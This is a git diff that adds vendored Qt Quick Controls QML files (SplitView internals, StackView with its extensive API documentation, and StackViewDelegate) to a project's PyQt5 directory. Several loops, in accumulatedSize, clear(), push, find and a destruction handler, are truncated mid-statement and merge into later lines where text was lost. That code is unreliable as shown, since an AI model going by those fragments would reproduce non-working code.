item.Layout.fillHeightChanged.disconnect(d.updateFillIndex) + } + + function removeItem_impl(item) + { + var pos = itemPos(item) + + // Check pos range + if (pos < 0 || pos >= __items.length) + return null + + // Temporary unset the fillIndex + fillIndex = __items.length - 1 + + // Remove the handle at the left/right of the item that + // is going to be removed + var handlePos = -1 + var hasPrevious = pos > 0 + var hasNext = (pos + 1) < __items.length + + if (hasPrevious) + handlePos = pos-1 + else if (hasNext) + handlePos = pos + if (handlePos >= 0) { + var handle = __handles[handlePos] + handle.visible = false + handle.parent = null + handle.destroy() + for (var i = handlePos; i < __handles.length; ++i) + __handles[i].__handleIndex = i + } + + // Remove the item. + // Disconnect the item to be removed + terminateItemConnections(item) + item.parent = null + + return item + } + + function itemPos(item) + { + for (var i = 0; i < __items.length; ++i) + if (item === __items[i]) + return i + return -1 + } + + function init() + { + for (var i=0; i<__contents.length; ++i) { + var item = __contents[i]; + if (!item.hasOwnProperty("x")) + continue + addItem_impl(item) + i-- // item was removed from list + } + + d.calculateImplicitSize() + d.updateLayoutGuard = false + d.updateFillIndex() + } + + function updateFillIndex() + { + if (lastItem.visible !== root.visible) + return + var policy = (root.orientation === Qt.Horizontal) ? "fillWidth" : "fillHeight" + for (var i=0; i<__items.length-1; ++i) { + if (__items[i].Layout[policy] === true) + break; + } + + d.fillIndex = i + d.updateLayout() + } + + function changeOrientation() + { + if (__items.length == 0) + return; + d.updateLayoutGuard = true + + // Swap width/height for items and handles: + for (var i=0; i<__items.length; ++i) { + var item = __items[i] + var tmp = item.x + item.x = item.y + item.y = tmp + tmp = item.width + item.width = item.height + item.height = tmp + + var handle = __handles[i] + if (handle) { + tmp = handle.x + handle.x = handle.y + handle.y = handle.x + tmp = handle.width + handle.width = handle.height + handle.height = tmp + } + } + + // Change d.horizontal explicit, since the binding will change too late: + d.horizontal = orientation == Qt.Horizontal + d.updateLayoutGuard = false + d.updateFillIndex() + } + + function calculateImplicitSize() + { + var implicitSize = 0 + var implicitOtherSize = 0 + + for (var i=0; i<__items.length; ++i) { + var item = __items[i]; + implicitSize += clampedMinMax(item[d.size], item.Layout[minimum], item.Layout[maximum]) + extraMarginSize(item) + var os = clampedMinMax(item[otherSize], item.Layout[otherMinimum], item.Layout[otherMaximum]) + extraMarginSize(item, true) + implicitOtherSize = Math.max(implicitOtherSize, os) + + var handle = __handles[i] + if (handle) + implicitSize += handle[d.size] //### Can handles have margins?? + } + + root[d.implicitSize] = implicitSize + root[d.implicitOtherSize] = implicitOtherSize + } + + function clampedMinMax(value, minimum, maximum) + { + if (value < minimum) + value = minimum + if (value > maximum) + value = maximum + return value + } + + function accumulatedSize(firstIndex, lastIndex, includeFillItemMinimum) + { + // Go through items and handles, and + // calculate their accummulated width. + var w = 0 + for (var i=firstIndex; i __handleIndex) + visible: __items[__handleIndex + (resizeLeftItem ? 0 : 1)].visible + sourceComponent: handleDelegate + onWidthChanged: d.updateLayout() + onHeightChanged: d.updateLayout() + onXChanged: moveHandle() + onYChanged: moveHandle() + + MouseArea { + id: mouseArea + anchors.fill: parent + property real defaultMargin: Private.Settings.hasTouchScreen ? Screen.pixelDensity * 3.5 : 2 + anchors.leftMargin: (parent.width <= 1) ? -defaultMargin : 0 + anchors.rightMargin: (parent.width <= 1) ? -defaultMargin : 0 + anchors.topMargin: (parent.height <= 1) ? -defaultMargin : 0 + anchors.bottomMargin: (parent.height <= 1) ? -defaultMargin : 0 + hoverEnabled: Private.Settings.hoverEnabled + drag.threshold: 0 + drag.target: parent + drag.axis: root.orientation === Qt.Horizontal ? Drag.XAxis : Drag.YAxis + cursorShape: root.orientation === Qt.Horizontal ? Qt.SplitHCursor : Qt.SplitVCursor + } + + function moveHandle() { + // Moving the handle means resizing an item. Which one, + // left or right, depends on where the fillItem is. + // 'updateLayout' will be overridden in case new width violates max/min. + // 'updateLayout' will be triggered when an item changes width. + if (d.updateLayoutGuard) + return + + var leftHandle, leftItem, rightItem, rightHandle + var leftEdge, rightEdge, newWidth, leftStopX, rightStopX + var i + + if (resizeLeftItem) { + // Ensure that the handle is not crossing other handles. So + // find the first visible handle to the left to determine the left edge: + leftEdge = 0 + for (i=__handleIndex-1; i>=0; --i) { + leftHandle = __handles[i] + if (leftHandle.visible) { + leftEdge = leftHandle[d.offset] + leftHandle[d.size] + break; + } + } + + // Ensure: leftStopX >= itemHandle[d.offset] >= rightStopX + var min = d.accumulatedSize(__handleIndex+1, __items.length, true) + rightStopX = root[d.size] - min - itemHandle[d.size] + leftStopX = Math.max(leftEdge, itemHandle[d.offset]) + itemHandle[d.offset] = Math.min(rightStopX, Math.max(leftStopX, itemHandle[d.offset])) + + newWidth = itemHandle[d.offset] - leftEdge + leftItem = __items[__handleIndex] + // The next line will trigger 'updateLayout': + leftItem[d.size] = newWidth + } else { + // Resize item to the right. + // Ensure that the handle is not crossing other handles. So + // find the first visible handle to the right to determine the right edge: + rightEdge = root[d.size] + for (i=__handleIndex+1; i<__handles.length; ++i) { + rightHandle = __handles[i] + if (rightHandle.visible) { + rightEdge = rightHandle[d.offset] + break; + } + } + + // Ensure: leftStopX <= itemHandle[d.offset] <= rightStopX + min = d.accumulatedSize(0, __handleIndex+1, true) + leftStopX = min - itemHandle[d.size] + rightStopX = Math.min((rightEdge - itemHandle[d.size]), itemHandle[d.offset]) + itemHandle[d.offset] = Math.max(leftStopX, Math.min(itemHandle[d.offset], rightStopX)) + + newWidth = rightEdge - (itemHandle[d.offset] + itemHandle[d.size]) + rightItem = __items[__handleIndex+1] + // The next line will trigger 'updateLayout': + rightItem[d.size] = newWidth + } + } + } + } + + Item { + id: contents + visible: false + anchors.fill: parent + } + Item { + id: splitterItems + anchors.fill: parent + } + Item { + id: splitterHandles + anchors.fill: parent + } + + Item { + id: lastItem + onVisibleChanged: d.updateFillIndex() + } + + Component.onDestruction: { + for (var i=0; i [A, B, C, D] - "push" transition animation between C and D + \li pop() => [A, B] - "pop" transition animation between C and B + \li \l{push()}{push(D, replace)} => [A, B, D] - "replace" transition between C and D + \li \l{pop()}{pop(A)} => [A] - "pop" transition between C and A + \endlist + + \note When the stack is empty, a push() will not perform a + transition animation because there is nothing to transition from (typically during + application start-up). A pop() on a stack with depth 1 or 0 is a no-operation. + If all items need to be removed from the stack, a separate function clear() is + available. + + Calling push() returns the item that was pushed onto the stack. + Calling pop() returns the item that was popped off the stack. When pop() is + called in an unwind operation, the top-most item (the first item that was + popped, which will also be the one transitioning out) is returned. + + \section1 Deep Linking + \e{Deep linking} means launching an application into a particular state. For example, + a newspaper application could be launched into showing a particular article, + bypassing the front item (and possibly a section item) that would normally have + to be navigated through to get to the article concerned. In terms of StackView, deep + linking means the ability to modify the state of the stack, so much so that it is + possible to push a set of items to the top of the stack, or to completely reset + the stack to a given state. + + The API for deep linking in StackView is the same as for basic navigation. Pushing + an array instead of a single item, will involve that all the items in that array will + be pushed onto the stack. The transition animation, however, will be conducted as + if only the last item in the array was pushed onto the stack. The normal semantics + of push() apply for deep linking, meaning that push() adds whatever is pushed onto + the stack. Note also that only the last item of the array will be loaded. + The rest will be lazy-loaded as needed when entering the screen upon subsequent + calls to pop (or when requesting the item by using \a get). + + This gives us the following result, given the stack [A, B, C]: + + \list + \li \l{push()}{push([D, E, F])} => [A, B, C, D, E, F] - "push" transition animation between C and F + \li \l{push()}{push([D, E, F], replace)} => [A, B, D, E, F] - "replace" transition animation between C and F + \li clear(); \l{push()}{push([D, E, F])} => [D, E, F] - no transition animation (since the stack was empty) + \endlist + + \section1 Pushing items + + An item pushed onto the StackView can be either an Item, a URL, a string + containing a URL, or a Component. To push it, assign it to a property "item" + inside a property list, and pass it as an argument to \l{StackView::push}{push}: + + \code + stackView.push({item: yourItem}) + \endcode + + The list can contain several properties that control how the item should be pushed: + \list + \li \c item: this property is required, and holds the item to be pushed. + \li \c properties: a list of QML properties to be assigned to the item upon push. These + properties will be copied into the item at load time, or when the item will become + the current item (normally upon push). + \li \c immediate: set this property to \c true to skip transition effects. When pushing + an array, this property only needs to be set on the first element to make the + whole operation immediate. + \li \c replace: set this property to replace the current item on the stack. When pushing + an array, you only need to set this property on the first element to replace + as many elements on the stack as inside the array. + \li \c destroyOnPop: set this boolean to \c true if StackView needs to destroy the item when + it is popped off the stack. By default (if \a destroyOnPop is not specified), StackView + will destroy items pushed as components or URLs. Items not destroyed will be re-parented + back to the original parents they had before being pushed onto the stack and hidden. + If you need to set this property, do it with care, so that items are not leaked. + \endlist + + If the only argument needed is "item", the following short-hand notation can be applied: + + \code + stackView.push(yourItem) + \endcode + + You can push several items in one go by using an array of property lists. This is + more efficient than pushing items one by one, as StackView can then load only the + last item in the list. The rest will be loaded as they are about to become + the current item (which happens when the stack is popped). The following example shows how + to push an array of items: + + \code + stackView.push([{item: yourItem1}, {item: yourItem2}]) + \endcode + + If an inline item is pushed, the item is temporarily re-parented into the StackView. When the item + is later popped off, it gets re-parented back to its original owner again. + If, however, an item is pushed as a component or a URL, the actual item will be created as an + item from that component. This happens automatically when the item is about to become the current + item in the stack. Ownership of the item will then normally be taken by the StackView, which will + automatically destroy the item when it is later popped off. The component that declared the item, by + contrast, remains in the ownership of the application and is not destroyed by the stack. + This can be overridden by explicitly setting \c{destroyOnPop} in the list of arguments given to push. + + If the \c properties to be pushed are specified, they will be copied into the item at loading time + (in case of a component or URL), or when the item becomes the current item (in case of an inline + item). The following example shows how this can be done: + + \code + stackView.push({item: someItem, properties: {fgcolor: "red", bgcolor: "blue"}}) + \endcode + + + \note If an item is declared inside another item, and that parent gets destroyed, + (even if a component was used), that child item will also be destroyed. + This follows normal Qt parent-child destruction rules, but sometimes comes as a surprise + for developers. + + \section1 Lifecycle + An item's lifecycle in the StackView can have the following transitions: + \list 1 + \li instantiation + \li inactive + \li activating + \li active + \li deactivating + \li inactive + \li destruction + \endlist + + It can move any number of times between inactive and active. When an item is activated, + it's visible on the screen and is considered to be the current item. An item + in a StackView that is not visible is not activated, even if the item is currently the + top-most item in the stack. When the stack becomes visible, the item that is top-most gets + activated. Likewise if the stack is then hidden, the topmost item would be deactivated. + Popping the item off the top of the stack at this point would not result in further + deactivation since the item is not active. + + There is an attached \l{Stack::status}{Stack.status} property that tracks the lifecycle. This + property is an enumeration with the following values: \c Stack.Inactive, \c Stack.Activating, + \c Stack.Active and \c Stack.Deactivating. Combined with the normal \c Component.onComplete and + \c Component.onDestruction signals, the entire lifecycle is thus: + + \list + \li Created: Component.onCompleted() + \li Activating: Stack.onStatusChanged (Stack.status is Stack.Activating) + \li Acivated: Stack.onStatusChanged (Stack.status is Stack.Active) + \li Deactivating: Stack.onStatusChanged (Stack.status is Stack.Deactivating) + \li Deactivated: Stack.onStatusChanged (Stack.status is Stack.Inactive) + \li Destruction: Component.onDestruction() + \endlist + + \section1 Finding items + Sometimes it is necessary to search for an item, for example, in order to unwind the stack to + an item to which the application does not have a reference. This is facilitated using a + function find() in StackView. The find() function takes a callback function as its + only argument. The callback gets invoked for each item in the stack (starting at the top). + If the callback returns true, then it signals that a match has been found and the find() + function returns that item. If the callback fails to return true (no match is found), + then find() returns \c null. + + The code below searches for an item in the stack that has a name "order_id" and then unwinds to + that item. Note that since find() returns \c {null} if no item is found, and since pop unwinds to + the bottom of the stack if null is given as the target item, the code works well even in + case no matching item is found. + + \code + stackView.pop(stackView.find(function(item) { + return item.name == "order_id"; + })); + \endcode + + You can also get to an item in the stack using \l {get()}{get(index)}. You should use + this function if your item depends on another item in the stack, as the function will + ensure that the item at the given index gets loaded before it is returned. + + \code + previousItem = stackView.get(myItem.Stack.index - 1)); + \endcode + + \section1 Transitions + + A transition is performed whenever a item is pushed or popped, and consists of + two items: enterItem and exitItem. The StackView itself will never move items + around, but instead delegates the job to an external animation set provided + by the style or the application developer. How items should visually enter and leave the stack + (and the geometry they should end up with) is therefore completely controlled from the outside. + + When the transition starts, the StackView will search for a transition that + matches the operation executed. There are three transitions to choose + from: \l {StackViewDelegate::}{pushTransition}, \l {StackViewDelegate::}{popTransition}, + and \l {StackViewDelegate::}{replaceTransition}. Each implements how + \c enterItem should animate in, and \c exitItem out. The transitions are + collected inside a StackViewDelegate object assigned to + \l {StackView::delegate}{delegate}. By default, popTransition and + replaceTransition will be the same as pushTransition, unless you set them + to something else. + + A simple fade transition could be implemented as: + + \qml + StackView { + delegate: StackViewDelegate { + function transitionFinished(properties) + { + properties.exitItem.opacity = 1 + } + + pushTransition: StackViewTransition { + PropertyAnimation { + target: enterItem + property: "opacity" + from: 0 + to: 1 + } + PropertyAnimation { + target: exitItem + property: "opacity" + from: 1 + to: 0 + } + } + } + } + \endqml + + PushTransition needs to inherit from StackViewTransition, which is a ParallelAnimation that + contains the properties \c enterItem and \c exitItem. These items should be assigned to the + \c target property of animations within the transition. Since the same items instance can + be pushed several times to a StackView, you should always override + \l {StackViewDelegate::transitionFinished()}{StackViewDelegate.transitionFinished()}. + Implement this function to reset any properties animated on the exitItem so that later + transitions can expect the items to be in a default state. + + A more complex example could look like the following. Here, the items are lying on the side before + being rotated to an upright position: + + \qml + StackView { + delegate: StackViewDelegate { + function transitionFinished(properties) + { + properties.exitItem.x = 0 + properties.exitItem.rotation = 0 + } + + pushTransition: StackViewTransition { + SequentialAnimation { + ScriptAction { + script: enterItem.rotation = 90 + } + PropertyAnimation { + target: enterItem + property: "x" + from: enterItem.width + to: 0 + } + PropertyAnimation { + target: enterItem + property: "rotation" + from: 90 + to: 0 + } + } + PropertyAnimation { + target: exitItem + property: "x" + from: 0 + to: -exitItem.width + } + } + } + } + \endqml + + \section2 Advanced usage + + When the StackView needs a new transition, it first calls + \l {StackViewDelegate::getTransition()}{StackViewDelegate.getTransition()}. + The base implementation of this function just looks for a property named \c properties.name inside + itself (root), which is how it finds \c {property Component pushTransition} in the examples above. + + \code + function getTransition(properties) + { + return root[properties.name] + } + \endcode + + You can override this function for your delegate if you need extra logic to decide which + transition to return. You could for example introspect the items, and return different animations + depending on the their internal state. StackView will expect you to return a Component that + contains a StackViewTransition, or a StackViewTransition directly. The former is easier, as StackView will + then create the transition and later destroy it when it's done, while avoiding any side effects + caused by the transition being alive long after it has run. Returning a StackViewTransition directly + can be useful if you need to write some sort of transition caching for performance reasons. + As an optimization, you can also return \c null to signal that you just want to show/hide the items + immediately without creating or running any transitions. You can also override this function if + you need to alter the items in any way before the transition starts. + + \c properties contains the properties that will be assigned to the StackViewTransition before + it runs. In fact, you can add more properties to this object during the call + if you need to initialize additional properties of your custom StackViewTransition when the returned + component is instantiated. + + The following example shows how you can decide which animation to use at runtime: + + \qml + StackViewDelegate { + function getTransition(properties) + { + return (properties.enterItem.Stack.index % 2) ? horizontalTransition : verticalTransition + } + + function transitionFinished(properties) + { + properties.exitItem.x = 0 + properties.exitItem.y = 0 + } + + property Component horizontalTransition: StackViewTransition { + PropertyAnimation { + target: enterItem + property: "x" + from: target.width + to: 0 + duration: 300 + } + PropertyAnimation { + target: exitItem + property: "x" + from: 0 + to: target.width + duration: 300 + } + } + + property Component verticalTransition: StackViewTransition { + PropertyAnimation { + target: enterItem + property: "y" + from: target.height + to: 0 + duration: 300 + } + PropertyAnimation { + target: exitItem + property: "y" + from: 0 + to: target.height + duration: 300 + } + } + } + \endqml + + \section1 Supported Attached Properties + + Items in a StackView support these attached properties: + \list + \li \l{Stack::index}{Stack.index} - Contains the index of the item inside the StackView + \li \l{Stack::view}{Stack.view} - Contains the StackView the item is in + \li \l{Stack::status}{Stack.status} - Contains the status of the item + \endlist +*/ + +FocusScope { + id: root + + /*! \qmlproperty int StackView::depth + \readonly + The number of items currently pushed onto the stack. + */ + readonly property alias depth: root.__depth + + /*! \qmlproperty Item StackView::currentItem + \readonly + The currently top-most item in the stack. + */ + readonly property alias currentItem: root.__currentItem + + /*! The first item that should be shown when the StackView is created. + \a initialItem can take same value as the first argument to \l{StackView::push()} + {StackView.push()}. Note that this is just a convenience for writing + \c{Component.onCompleted: stackView.push(myInitialItem)} + + Examples: + + \list + \li initialItem: Qt.resolvedUrl("MyItem.qml") + \li initialItem: myItem + \li initialItem: {"item" : Qt.resolvedUrl("MyRectangle.qml"), "properties" : {"color" : "red"}} + \endlist + \sa push + */ + property var initialItem: null + + /*! \readonly + \a busy is \c true if a transition is running, and \c false otherwise. */ + readonly property bool busy: __currentTransition !== null + + /*! The transitions to use when pushing or popping items. + For better understanding on how to apply custom transitions, read \l{Transitions}. + \sa {Transitions} */ + property StackViewDelegate delegate: StackViewSlideDelegate {} + + /*! \qmlmethod Item StackView::push(Item item) + Pushes an \a item onto the stack. + + The function can also take a property list as argument - \c {Item StackView::push(jsobject dict)}, which + should contain one or more of the following properties: + \list + \li \a item: this property is required, and holds the item you want to push. + \li \e properties: a list of QML properties that should be assigned + to the item upon push. These properties will be copied into the item when it is + loaded (in case of a component or URL), or when it becomes the current item for the + first time (normally upon push). + \li \e immediate: set this property to \c true to skip transition effects. When pushing + an array, you only need to set this property on the first element to make the + whole operation immediate. + \li \e replace: set this property to replace the current item on the stack. When pushing + an array, you only need to set this property on the first element to replace + as many elements on the stack as inside the array. + \li \e destroyOnPop: set this property to specify if the item needs to be destroyed + when its popped off the stack. By default (if \e destroyOnPop is not specified), + StackView will destroy items pushed as components or URLs. Items + not destroyed will be re-parented to the original parents they had before being + pushed onto the stack, and hidden. If you need to set this property, do it with + care, so that items are not leaked. + \endlist + + You can also push an array of items (property lists) if you need to push several items + in one go. A transition will then only occur between the current item and the last + item in the list. Loading the other items will be deferred until needed. + + Examples: + \list + \li stackView.push({item:anItem}) + \li stackView.push({item:aURL, immediate: true, replace: true}) + \li stackView.push({item:aRectangle, properties:{color:"red"}}) + \li stackView.push({item:aComponent, properties:{color:"red"}}) + \li stackView.push({item:aComponent.createObject(), destroyOnPop:true}) + \li stackView.push([{item:anitem, immediate:true}, {item:aURL}]) + \endlist + + \note If the only argument needed is "item", you can apply the following short- + hand notation: \c{stackView.push(anItem)}. + + Returns the item that became current. + + \sa initialItem + \sa {Pushing items} + */ + function push(item) { + // Note: we support two different APIs in this function; The old meego API, and + // the new "property list" API. Hence the reason for hiding the fact that you + // can pass more arguments than shown in the signature: + if (__recursionGuard(true)) + return + var properties = arguments[1] + var immediate = arguments[2] + var replace = arguments[3] + var arrayPushed = (item instanceof Array) + var firstItem = arrayPushed ? item[0] : item + immediate = (immediate || JSArray.stackView.length === 0) + + if (firstItem && firstItem.item && firstItem.hasOwnProperty("x") === false) { + // Property list API used: + immediate = immediate || firstItem.immediate + replace = replace || firstItem.replace + } + + // Create, and push, a new javascript object, called "element", onto the stack. + // This element contains all the information necessary to construct the item, and + // will, after loaded, also contain the loaded item: + if (arrayPushed) { + if (item.length === 0) + return + var outElement = replace ? JSArray.pop() : JSArray.current() + for (var i=0; i 1 && item !== undefined && item !== inElement.item) { + // Pop from the top until we find 'item', and return the corresponding + // element. Skip all non-loaded items (except the first), since no one + // has any references to such items anyway: + while (__depth > 1 && !JSArray.current().loaded) + JSArray.pop() + inElement = JSArray.current() + while (__depth > 1 && item !== inElement.item) { + JSArray.pop() + __cleanup(inElement) + while (__depth > 1 && !JSArray.current().loaded) + JSArray.pop() + inElement = JSArray.current() + } + } + + var transition = { + inElement: inElement, + outElement: outElement, + immediate: immediate, + replace: false, + push: false + } + __performTransition(transition) + __recursionGuard(false) + return outElement.item; + } + + /*! \qmlmethod void StackView::clear() + Remove all items from the stack. No animations will be applied. */ + function clear() { + if (__recursionGuard(true)) + return + if (__currentTransition) + __currentTransition.animation.complete() + __currentItem = null + var count = __depth + for (var i=0; i=0; --i) { + var element = JSArray.stackView[i]; + if (onlySearchLoadedItems !== true) + __loadElement(element) + else if (!element.item) + continue + if (func(element.item)) + return element.item + } + return null; + } + + /*! \qmlmethod Item StackView::get(int index, bool dontLoad = false) + Returns the item at position \a index in + the stack. If \a dontLoad is true, the + item will not be forced to load (and \c null + will be returned if not yet loaded) */ + function get(index, dontLoad) + { + if (index < 0 || index >= JSArray.stackView.length) + return null + var element = JSArray.stackView[index] + if (dontLoad !== true) { + __loadElement(element) + return element.item + } else if (element.item) { + return element.item + } else { + return null + } + } + + /*! \qmlmethod void StackView::completeTransition() + Immediately completes any ongoing transition. + /sa Animation.complete + */ + function completeTransition() + { + if (__recursionGuard(true)) + return + if (__currentTransition) + __currentTransition.animation.complete() + __recursionGuard(false) + } + + /********* DEPRECATED API *********/ + + /*! \internal + \deprecated Use Push() instead */ + function replace(item, properties, immediate) { + push(item, properties, immediate, true) + } + + /********* PRIVATE API *********/ + + /*! \internal The currently top-most item on the stack. */ + property Item __currentItem: null + /*! \internal The number of items currently pushed onto the stack. */ + property int __depth: 0 + /*! \internal Stores the transition info while a transition is ongoing */ + property var __currentTransition: null + /*! \internal Stops the user from pushing items while preparing a transition */ + property bool __guard: false + + Component.onCompleted: { + if (initialItem) + push(initialItem) + } + + Component.onDestruction: { + if (__currentTransition) + __currentTransition.animation.complete() + __currentItem = null + } + + /*! \internal */ + function __recursionGuard(use) + { + if (use && __guard) { + console.warn("Warning: StackView: You cannot push/pop recursively!") + console.trace() + return true + } + __guard = use + } + + /*! \internal */ + function __loadElement(element) + { + if (element.loaded) { + if (!element.item) { + element.item = invalidItemReplacement.createObject(root) + element.item.text = "\nError: The item has been deleted outside StackView!" + } + return + } + if (!element.itemComponent) { + element.item = invalidItemReplacement.createObject(root) + element.item.text = "\nError: Invalid item (item was 'null'). " + + "This might indicate that the item was deleted outside StackView!" + return + } + + var comp = __resolveComponent(element.itemComponent, element) + + // Assign properties to item: + if (!element.properties) + element.properties = {} + + if (comp.hasOwnProperty("createObject")) { + if (comp.status === Component.Error) { + element.item = invalidItemReplacement.createObject(root) + element.item.text = "\nError: Could not load: " + comp.errorString() + } else { + element.item = comp.createObject(root, element.properties) + // Destroy items we create unless the user specified something else: + if (!element.hasOwnProperty("destroyOnPop")) + element.destroyOnPop = true + } + } else { + // comp is already an Item, so just re-parent it into the StackView: + element.item = comp + element.originalParent = parent + element.item.parent = root + for (var prop in element.properties) { + if (element.item.hasOwnProperty(prop)) + element.item[prop] = element.properties[prop]; + } + // Do not destroy items we didn't create, unless the user specified something else: + if (!element.hasOwnProperty("destroyOnPop")) + element.destroyOnPop = false + } + + element.item.Stack.__index = element.index + element.item.Stack.__view = root + // Let item fill all available space by default: + element.item.width = Qt.binding(function() { return root.width }) + element.item.height = Qt.binding(function() { return root.height }) + element.loaded = true + } + + /*! \internal */ + function __resolveComponent(unknownObjectType, element) + { + // We need this extra resolve function since we don't really + // know what kind of object the user pushed. So we try to + // figure it out by inspecting the object: + if (unknownObjectType.hasOwnProperty("createObject")) { + return unknownObjectType + } else if (typeof unknownObjectType == "string") { + return Qt.createComponent(unknownObjectType) + } else if (unknownObjectType.hasOwnProperty("x")) { + return unknownObjectType + } else if (unknownObjectType.hasOwnProperty("item")) { + // INVARIANT: user pushed a JS-object + element.properties = unknownObjectType.properties + if (!unknownObjectType.item) + unknownObjectType.item = invalidItemReplacement + if (unknownObjectType.hasOwnProperty("destroyOnPop")) + element.destroyOnPop = unknownObjectType.destroyOnPop + return __resolveComponent(unknownObjectType.item, element) + } else { + // We cannot determine the type, so assume its a URL: + return Qt.createComponent(unknownObjectType) + } + } + + /*! \internal */ + function __cleanup(element) { + // INVARIANT: element has been removed from JSArray. Destroy its + // item, or re-parent it back to the parent it had before it was pushed: + var item = element.item + if (element.destroyOnPop) { + item.destroy() + } else { + // Mark the item as no longer part of the StackView. It + // might reenter on pop if pushed several times: + item.visible = false + __setStatus(item, Stack.Inactive) + item.Stack.__view = null + item.Stack.__index = -1 + if (element.originalParent) + item.parent = element.originalParent + } + } + + /*! \internal */ + function __setStatus(item, status) { + item.Stack.__status = status + } + + /*! \internal */ + function __performTransition(transition) + { + // Animate item in "outElement" out, and item in "inElement" in. Set a guard to protect + // the user from pushing new items on signals that will fire while preparing for the transition + // (e.g Stack.onCompleted, Stack.onStatusChanged, Stack.onIndexChanged etc). Otherwise, we will enter + // this function several times, which causes the items to be updated half-way. + if (__currentTransition) + __currentTransition.animation.complete() + __loadElement(transition.inElement) + + transition.name = transition.replace ? "replaceTransition" : (transition.push ? "pushTransition" : "popTransition") + var enterItem = transition.inElement.item + transition.enterItem = enterItem + + // Since an item can be pushed several times, we need to update its properties: + enterItem.parent = root + enterItem.Stack.__view = root + enterItem.Stack.__index = transition.inElement.index + __currentItem = enterItem + + if (!transition.outElement) { + // A transition consists of two items, but we got just one. So just show the item: + enterItem.visible = true + __setStatus(enterItem, Stack.Activating) + __setStatus(enterItem, Stack.Active) + return + } + + var exitItem = transition.outElement.item + transition.exitItem = exitItem + if (enterItem === exitItem) + return + + if (root.delegate) { + transition.properties = { + "name":transition.name, + "enterItem":transition.enterItem, + "exitItem":transition.exitItem, + "immediate":transition.immediate } + var anim = root.delegate.getTransition(transition.properties) + if (anim.createObject) { + anim = anim.createObject(null, transition.properties) + anim.runningChanged.connect(function(){ if (anim.running === false) anim.destroy() }) + } + transition.animation = anim + } + + if (!transition.animation) { + console.warn("Warning: StackView: no", transition.name, "found!") + return + } + if (enterItem.anchors.fill || exitItem.anchors.fill) + console.warn("Warning: StackView: cannot transition an item that is anchored!") + + __currentTransition = transition + __setStatus(exitItem, Stack.Deactivating) + enterItem.visible = true + __setStatus(enterItem, Stack.Activating) + transition.animation.runningChanged.connect(animationFinished) + transition.animation.start() + // NB! For empty animations, "animationFinished" is already + // executed at this point, leaving __animation === null: + if (transition.immediate === true && transition.animation) + transition.animation.complete() + } + + /*! \internal */ + function animationFinished() + { + if (!__currentTransition || __currentTransition.animation.running) + return + + __currentTransition.animation.runningChanged.disconnect(animationFinished) + __currentTransition.exitItem.visible = false + __setStatus(__currentTransition.exitItem, Stack.Inactive); + __setStatus(__currentTransition.enterItem, Stack.Active); + __currentTransition.properties.animation = __currentTransition.animation + root.delegate.transitionFinished(__currentTransition.properties) + + if (!__currentTransition.push || __currentTransition.replace) + __cleanup(__currentTransition.outElement) + + __currentTransition = null + } + + /*! \internal */ + property Component invalidItemReplacement: Component { + Text { + width: parent.width + height: parent.height + wrapMode: Text.WrapAtWordBoundaryOrAnywhere + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/StackView.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/StackView.qmlc new file mode 100644 index 00000000..24e5c231 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/StackView.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/StackViewDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/StackViewDelegate.qml new file mode 100644 index 00000000..f85eb0ae --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/StackViewDelegate.qml @@ -0,0 +1,100 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 + +/*! + \qmltype StackViewDelegate + \inqmlmodule QtQuick.Controls + \ingroup controls + \since 5.1 + + \brief A delegate used by StackView for loading transitions. + + See the documentation for the \l {StackView} component. + +*/ +QtObject { + id: root + + /*! + \qmlmethod Transition StackViewDelegate::getTransition(properties) + + The base implementation of this function just looks for a property named + \a {properties}.name inside itself and returns it. + \sa {Transitions} + */ + function getTransition(properties) + { + return root[properties.name] + } + + /*! + \qmlmethod void StackViewDelegate::transitionFinished(properties) + + Handles the completion of a transition for \a properties. The base + implementation of this function is empty. + + \sa {Transitions} + */ + function transitionFinished(properties) + { + } + + /*! + \qmlproperty Component StackViewDelegate::pushTransition + + The transition used on push operation. + */ + property Component pushTransition: StackViewTransition {} + /*! + \qmlproperty Component StackViewDelegate::popTransition + + The transition used on pop operation. + Unless set, the popTransition is the same as pushTransition + */ + property Component popTransition: root["pushTransition"] + /*! + \qmlproperty Component StackViewDelegate::replaceTransition + + The transition used on replace operation. + Unless set, the replaceTransition is the same as pushTransition + */ + property Component replaceTransition: root["pushTransition"] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/StackViewDelegate.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/StackViewDelegate.qmlc new file mode 100644 index 00000000..23e3c2bb Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/StackViewDelegate.qmlc differ diff --git 